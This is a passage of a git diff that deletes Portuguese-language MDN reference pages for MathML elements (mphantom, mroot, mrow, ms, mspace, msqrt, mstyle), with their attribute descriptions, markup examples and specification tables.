-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>Antes do Gecko 7.0 {{ geckoRelease("7.0") }} a pseudo-unidade <code>lspace</code> da MathML2 era permitido, que já não está presente na Recomendação MathML3 e foi removido agora.</li>
-</ul>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mphantom") }}</li>
- <li>{{ MathMLElement("mspace") }}</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mphantom/index.html b/files/pt-pt/web/mathml/element/mphantom/index.html
deleted file mode 100644
index bfbbd09dfd..0000000000
--- a/files/pt-pt/web/mathml/element/mphantom/index.html
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: <mphantom>
-slug: Web/MathML/Element/mphantom
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/mphantom
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary"><span class="seoSummary">O elemento de MathML <code>&lt;mphantom&gt;</code> é feito invisível, mas as suas dimensões (como a altura, largura e posição base) são mantidas.</span></p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="x+ z" src="/files/3199/mphantom.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <mrow> <mi> x </mi> <mo> + </mo> <mphantom> <mi> y </mi> <mo> + </mo> </mphantom> <mi> z </mi> </mrow> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-&lt;mrow&gt;
- &lt;mi&gt; x &lt;/mi&gt;
- &lt;mo&gt; + &lt;/mo&gt;
- &lt;mphantom&gt;
- &lt;mi&gt; y &lt;/mi&gt;
- &lt;mo&gt; + &lt;/mo&gt;
- &lt;/mphantom&gt;
- &lt;mi&gt; z &lt;/mi&gt;
-&lt;/mrow&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mphantom', 'mphantom') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mphantom', 'mphantom') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mphantom")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mspace") }}</li>
- <li>{{ MathMLElement("mpadded") }}</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mroot/index.html b/files/pt-pt/web/mathml/element/mroot/index.html
deleted file mode 100644
index 03c87f1c7f..0000000000
--- a/files/pt-pt/web/mathml/element/mroot/index.html
+++ /dev/null
@@ -1,78 +0,0 @@
----
-title: <mroot>
-slug: Web/MathML/Element/mroot
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/mroot
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;mroot&gt;</code> apresenta raízes com um índice explicito. Dois argumentos são aceites, com a sintaxe seguinte: <code>&lt;mroot&gt; <em>base index</em> &lt;/mroot&gt;</code>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto e a cor do simbolo da raiz também. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="x" src="/files/3200/mroot.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <mroot> <mi>x</mi> <mn>3</mn> </mroot> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;mroot&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;3&lt;/mn&gt;
- &lt;/mroot&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mroot', 'mroot') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mroot', 'mroot') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mroot")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("msqrt") }} (Raiz quadrada sem índice)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mrow/index.html b/files/pt-pt/web/mathml/element/mrow/index.html
deleted file mode 100644
index 1e79df2bac..0000000000
--- a/files/pt-pt/web/mathml/element/mrow/index.html
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: <mrow>
-slug: Web/MathML/Element/mrow
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/mrow
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;mrow&gt;</code> é utilizado para agrupar sub-expressões, que normalmente contêm um ou mais operadores com os seus respetivos operandos (tais como {{ MathMLElement("mi") }} e {{ MathMLElement("mn") }}). Este elemento é apresentado como uma linha horizontal contendo os seus argumentos.</p>
-
-<p>Ao escrever uma expressão MathML, deve agrupar elementos dentro de um <code>&lt;mrow&gt;</code> da mesma forma que são agrupados na interpretação matemática da expressão. O agrupamento adequado ajuda a renderizar a expressão de várias maneiras:</p>
-
-<ul>
- <li>Pode melhorar a visualização, afetando possivelmente o espaçamento.</li>
- <li>Permite implementar quebras de linha e indentação mais inteligente.</li>
- <li>Simplifica a interpretação da expressão por sistemas automatizados, tais como sistemas de álgebra informática e leitores.</li>
-</ul>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-dir">dir</dt>
- <dd>A direção geral das fórmulas. Valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;mrow&gt;
- &lt;mn&gt; 1 &lt;/mn&gt;
- &lt;mo&gt; + &lt;/mo&gt;
- &lt;mn&gt; 1 &lt;/mn&gt;
- &lt;/mrow&gt;
-
- &lt;mrow&gt;
- &lt;mo&gt; ( &lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt; x &lt;/mi&gt;
- &lt;mo&gt; , &lt;/mo&gt;
- &lt;mi&gt; y &lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mo&gt; ) &lt;/mo&gt;
- &lt;/mrow&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mrow', 'mrow') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mrow', 'mrow') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mrow")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>Elemento de agrupamento de HTML: {{ HTMLElement("div") }}</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/ms/index.html b/files/pt-pt/web/mathml/element/ms/index.html
deleted file mode 100644
index a3489d64ed..0000000000
--- a/files/pt-pt/web/mathml/element/ms/index.html
+++ /dev/null
@@ -1,112 +0,0 @@
----
-title: <ms>
-slug: Web/MathML/Element/ms
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Token Elements'
- - Referência de MathML
-translation_of: Web/MathML/Element/ms
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;ms&gt;</code> representa uma <em>string literal</em> que deve ser intrepetada por linguagens de programação e sistemas de álgebra informática. Por norma, os <em>string literals</em> são exibidos como delimitados por aspas duplas (<code>&amp;quot;</code>); utilizando os atributos <code>lquote</code> e <code>rquote</code>, é possível definir caracteres personalizados para exibir. Note que as aspas não devem ser especificadas a menos que façam parte da cadeia de caracteres literal. O conteúdo de um elemento &lt;ms&gt; não é uma <em>string</em> de ASCII, mas sim uma sequência de caracteres e os elementos {{MathMLElement("mglyph") }} e {{MathMLElement("malignmark") }}.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-dir">dir</dt>
- <dd>A direção geral das fórmulas. Valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</dd>
- <dt id="attr-lquote">lquote</dt>
- <dd>O carácter de citação de abertura (depende da direção indicada por <code>dir</code>) para delimitar o conteúdo. O valor pré-definido é <code>&amp;quot;</code>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathsize">mathsize</dt>
- <dd>O tamanho do conteúdo. Ver <a class="external external-icon" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" rel="noopener">comprimento</a> para os valores aceites.<br>
- Valores obsoletos: <code>small</code>, <code>normal</code> e <code>big</code>. Estes serão removidos no futuro.</dd>
- <dt id="attr-mathvariant">mathvariant</dt>
- <dd>Este atributo especifica a classe lógica do identificador, que varia em tipografia. Ou seja, embora os nomes sugerem o estilo tipográfico da classe, semanticamente, os itens com a mesma classe são tratados "da mesma forma" dentro de uma expressão, o que pode ou não envolver a sua exibição com a tipografia nomeada. São permitidos os seguintes valores:
- <ul>
- <li><code>normal</code> (Default value) ; <math><ms mathvariant="normal">Exemplo</ms></math></li>
- <li><code>bold</code> ; <math><ms mathvariant="bold">Exemplo</ms></math></li>
- <li><code>italic</code> ; <math><ms mathvariant="italic">Exemplo</ms></math></li>
- <li><code>bold-italic</code> ; <math><ms mathvariant="bold-italic">Exemplo</ms></math></li>
- </ul>
-
- <ul>
- <li><code>double-struck</code> ; <math><ms mathvariant="double-struck">Exemplo</ms></math></li>
- <li><code>bold-fraktur</code> ; <math><ms mathvariant="bold-fraktur">Exemplo</ms></math></li>
- <li><code>script</code> ; <math><ms mathvariant="script">Exemplo</ms></math></li>
- <li><code>bold-script</code> ; <math><ms mathvariant="bold-script">Exemplo</ms></math></li>
- <li><code>fraktur</code> ; <math><ms mathvariant="fraktur">Exemplo</ms></math></li>
- </ul>
-
- <ul>
- <li><code>sans-serif</code> ; <math><ms mathvariant="sans-serif">Exemplo</ms></math></li>
- <li><code>bold-sans-serif</code> ; <math><ms mathvariant="bold-sans-serif">Exemplo</ms></math></li>
- <li><code>sans-serif-italic</code> ; <math><ms mathvariant="sans-serif-italic">Exemplo</ms></math></li>
- <li><code>sans-serif-bold-italic</code> ; <math><ms mathvariant="sans-serif-bold-italic">Exemplo</ms></math></li>
- <li><code>monospace</code> ; <math><ms mathvariant="monospace">Exemplo</ms></math></li>
- </ul>
-
- <ul>
- <li><code>initial</code> ; <math><ms mathvariant="initial">مثال</ms></math></li>
- <li><code>tailed</code> ; <math><ms mathvariant="tailed">مثال</ms></math></li>
- <li><code>looped</code> ; <math><ms mathvariant="looped">مثال</ms></math></li>
- <li><code>stretched</code> ; <math><ms mathvariant="stretched">مثال</ms></math></li>
- </ul>
- </dd>
- <dt id="attr-rquote">rquote</dt>
- <dd>O carácter de citação de fecho (depende da direção indicada por <code>dir</code>) para delimitar o conteúdo. O valor pré-definido é <code>&amp;quot;</code>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;ms lquote="„" rquote="“"&gt; abc &lt;/ms&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.ms', 'ms') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Current specification</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.ms', 'ms') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Initial specification</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.ms")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>Alguns valores de <code>mathvariant</code> só estão implementados a começar com Gecko 28.0 (Firefox 28.0 / Thunderbird 28.0 / SeaMonkey 2.25) e requerem as <a href="https://developer.mozilla.org/en-US/docs/Mozilla/MathML_Project/Fonts">fontes matemáticas</a> apropriadas.</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mspace/index.html b/files/pt-pt/web/mathml/element/mspace/index.html
deleted file mode 100644
index 1d5161228e..0000000000
--- a/files/pt-pt/web/mathml/element/mspace/index.html
+++ /dev/null
@@ -1,88 +0,0 @@
----
-title: <mspace>
-slug: Web/MathML/Element/mspace
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Token Element'
- - Referência de MathML
-translation_of: Web/MathML/Element/mspace
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;mspace&gt;</code> é usado para visualizar um espaço em branco, cujo tamanho é decidido pelos seus atributos.</p>
-
-<h2 id="Attributos">Attributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/pt-PT/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-depth">depth</dt>
- <dd>A profundidade desejada (abaixo da linha de base) do espaço (ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> para valores e unidades).</dd>
- <dt id="attr-height">height</dt>
- <dd>A altura desejada (acima da linha de base) do espaço (ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> para valores e unidades).</dd>
- <dt id="attr-linebreak">linebreak</dt>
- <dd>Indica uma quebra de linha no espaço. Valores aceites: <code>auto</code> (valor padrão), <code>newline</code>, <code>nobreak</code>, <code>goodbreak</code> e <code>badbreak</code>.<br>
- A começar com MathML 3, é de preferencia usar {{ MathMLElement("mo") }} para controlar quebras de linha.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-width">width</dt>
- <dd>A largura desejada do espaço (ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> para valores e unidades).</dd>
-</dl>
-
-<p>Note que alguns atributos comuns como <code>mathcolor</code>, <code>mathvariant</code> ou <code>dir</code> não tem efeito no <code>&lt;mspace&gt;</code>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;mspace depth="40px" height="20px" /&gt;
-
- &lt;mspace width="100px" /&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mspace', 'mspace') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mspace', 'mspace') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mspace")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.lbindent.attrs" title="http://www.w3.org/TR/MathML3/chapter3.html#presm.lbindent.attrs">Atributos de indentação</a> ainda não implementados (for Gecko see {{ bug("534962") }}).</li>
- <li>Suporte para valores negativos do atributo <code>width</code> foram implementados em Gecko 23.0 {{geckoRelease("23.0")}}.</li>
-</ul>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mpadded") }}</li>
- <li>{{ MathMLElement("mphantom") }}</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/msqrt/index.html b/files/pt-pt/web/mathml/element/msqrt/index.html
deleted file mode 100644
index 0261764216..0000000000
--- a/files/pt-pt/web/mathml/element/msqrt/index.html
+++ /dev/null
@@ -1,77 +0,0 @@
----
-title: <msqrt>
-slug: Web/MathML/Element/msqrt
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/msqrt
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;msqrt&gt;</code> é usado para apresentar raízes quadradas (sem índice à vista). A raiz quadrada aceita só um argumento, com a sintaxe seguinte: <code>&lt;msqrt&gt; <em>base</em> &lt;/msqrt&gt;</code>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto e a cor do símbolo da raiz também. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="root-x" src="/files/3201/msqrt.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <msqrt> <mi>x</mi> </msqrt> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;msqrt&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;/msqrt&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mroot', 'msqrt') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.msqrt', 'msqrt') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.msqrt")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mroot") }} (Radical com um índice)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mstyle/index.html b/files/pt-pt/web/mathml/element/mstyle/index.html
deleted file mode 100644
index b23916e66e..0000000000
--- a/files/pt-pt/web/mathml/element/mstyle/index.html
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: <mstyle>
-slug: Web/MathML/Element/mstyle
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/mstyle
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento MathML <code>&lt;mstyle&gt;</code> é utilizado para mudar o estilo dos seus elementos filhos. Aceita todos os atributos de todos os elementos de apresentação MathML com algumas excepções e atributos adicionais listados abaixo.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-dir"><code>dir</code></dt>
- <dd>A direção geral das fórmulas. Os valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</dd>
- <dt id="attr-decimalpoint"><code>decimalpoint</code></dt>
- <dd>Se o valor de <code>decimalpoint</code> é usado para indicar o alinhamento, este indica qual o carater do ponto de alinhamento dentro das colunas de <code><a class="new" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Element/mstack" rel="nofollow" title="&lt;mstack>">&lt;mstack&gt;</a></code> e <code><a class="new" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Element/mtable" rel="nofollow" title="&lt;mtable>">&lt;mtable&gt;</a></code>.</dd>
- <dt id="attr-displaystyle"><code>displaystyle</code></dt>
- <dd>Um valor <code>Boolean</code> que indica se mais espaço é usado para visualizar equações ou, se <code>false</code>, uma apresentação mais compacta é usada para apresentar as fórmulas. O efeito principal é que versões maiores de operadores são apresentados quando <code>displaystyle</code> é <code>true</code>. Ver <code>largeop</code> e <code>movablelimits</code> em {{ MathMLElement("mo") }}.</dd>
- <dt id="attr-infixlinebreakstyle"><code>infixlinebreakstyle</code></dt>
- <dd>Indica o <code>linebreakstyle</code> pré-definido para usar com operadores <em>infix</em>. Os valores  <code>before</code>, <code>after</code> e <code>duplicate</code> são permitidos.</dd>
- <dt id="attr-scriptlevel"><code>scriptlevel</code></dt>
- <dd>
- <p>Controla sobretudo o tamanho da fonte. Quanto mais alto for o valor do <code>scriptlevel</code>, menor será o tamanho da fonte. Este atributo aceita um inteiro não negativo, assim como um sinal "+" ou "-", que aumenta ou diminui o valor atual. Além disso, o atributo de <code>scriptlevel</code> nunca pode reduzir o tamanho da fonte abaixo do tamanho do <code>scriptminsize</code>, de modo a evitar tamanhos de fonte ilegíveis e depende do multiplicador especificado no <code>scriptizemultiplier</code>.</p>
- </dd>
- <dt id="attr-scriptminsize"><code>scriptminsize</code></dt>
- <dd>Indica o mínimo valor permitido do tamanho da fonte devido a mudanças causadas por <code>scriptlevel</code>. O valor pré-definido é 8pt.</dd>
- <dt id="attr-scriptsizemultiplier"><code>scriptsizemultiplier</code></dt>
- <dd>Indica o multiplicadorque deve ser usado para ajustar o tamanho da fonte devido a mudanças causadas por <code>scriptlevel</code>. O valor pré-definido é 0.71.</dd>
-</dl>
-
-<p>O elemento <code>&lt;mstyle&gt;</code> aceita <a href="/pt-PT/docs/Web/MathML/Attribute">todos os atributos</a> de todos os elementos de apresentação, à exceção dos seguintes atributos:</p>
-
-<ul>
- <li><code>height</code>, <code>depth</code> e <code>width</code> não se aplicam ao {{ MathMLELement("mglyph") }}, {{ MathMLELement("mpadded") }} ou {{ MathMLELement("mtable") }}.</li>
- <li><code>rowalign</code>, <code>columnalign</code>, e <code>groupalign</code> não se aplicam ao {{ MathMLELement("mtr") }}, {{ MathMLELement("mlabeledtr") }}, {{ MathMLELement("mtd") }} ou {{ MathMLELement("maligngroup") }}.</li>
- <li><code>lspace</code> e <code>voffset</code> não se aplicam ao {{ MathMLELement("mpadded") }}.</li>
- <li><code>fontfamily</code> não se aplica ao {{ MathMLELement("mglyph") }}.</li>
- <li><code>align</code> não se aplica ao {{ MathMLELement("mtable") }} ou {{ MathMLELement("mstack") }}.</li>
- <li><code>index</code> não pode ser atribuído ao <code>&lt;mstyle&gt;</code>.</li>
- <li><code>src</code> e <code>alt</code> no{{ MathMLElement("mglyph" ) }} não pode ser atribuído ao <code>&lt;mstyle&gt;</code>.</li>
- <li><code>actiontype</code> no {{ MathMLElement("maction") }} não pode ser atribuído ao <code>&lt;mstyle&gt;</code>.</li>
-</ul>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Usar <code>displaystyle</code> e <code>mathcolor</code> para efetuar mudanças no estilo do formato da equação.</p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;mstyle displaystyle="true" mathcolor="teal"&gt;
- &lt;mrow&gt;
-
- &lt;munderover&gt;
- &lt;mo stretchy="true" form="prefix"&gt;&amp;sum;&lt;/mo&gt;
- &lt;mrow&gt;
- &lt;mi&gt;i&lt;/mi&gt;
- &lt;mo form="infix"&gt;=&lt;/mo&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/munderover&gt;
-
-  &lt;mstyle displaystyle="true"&gt;
- &lt;mfrac&gt;
- &lt;mn&gt;1&lt;/mn&gt;
- &lt;mi&gt;n&lt;/mi&gt;
- &lt;/mfrac&gt;
- &lt;/mstyle&gt;
-
-  &lt;/mrow&gt;
- &lt;/mstyle&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mstyle', 'mstyle') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mstyle', 'mstyle') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mstyle")}}</p>
-
-<h2 id="Gecko-specific_notes">Gecko-specific notes</h2>
-
-<ul>
